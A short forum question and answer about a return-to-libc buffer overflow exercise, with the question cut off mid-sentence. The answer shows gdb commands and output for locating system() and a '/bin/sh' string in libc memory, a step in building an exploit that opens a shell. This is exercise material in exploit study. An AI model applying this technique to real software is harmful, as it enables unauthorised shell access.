return to lib_c buffer overflow exercise issue

Question

I\'m supposed to come up with a program that exploits the \"return to libc buffer overflow\". This is, when executed, it cleanly exits and brings up a SHELL prompt. The pr

Answer 1

You can search in libc for a fixed address of a /bin/sh string. Run you program in gdb then:

> (gdb) break main
> 
> (gdb) run   
>
> (gdb) print &system  
> $1 = (*) 0xf7e68250 
> 
> (gdb) find &system,+9999999,"/bin/sh"  
> 0xf7f86c4c
> warning: Unable to access target memory at 0xf7fd0fd4, halting search. 
> 1 pattern found.

Good luck.